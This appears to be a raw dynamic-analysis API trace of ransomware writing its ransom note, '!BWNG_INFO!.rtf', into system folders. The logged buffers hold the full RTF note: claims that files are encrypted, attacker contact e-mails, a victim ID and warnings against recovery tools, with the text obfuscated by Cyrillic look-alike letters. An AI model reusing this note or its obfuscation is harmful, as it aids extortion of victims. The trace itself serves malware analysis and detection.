v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n3Ð\x8aU", lpUsedDefaultChar=0x0) returned 14086 [0034.391] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.392] CloseHandle (hObject=0x1d4) returned 1 [0034.392] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\!bwng_info!.rtf")) returned 0xffffffff [0034.393] GetLastError () returned 0x2 [0034.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0034.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 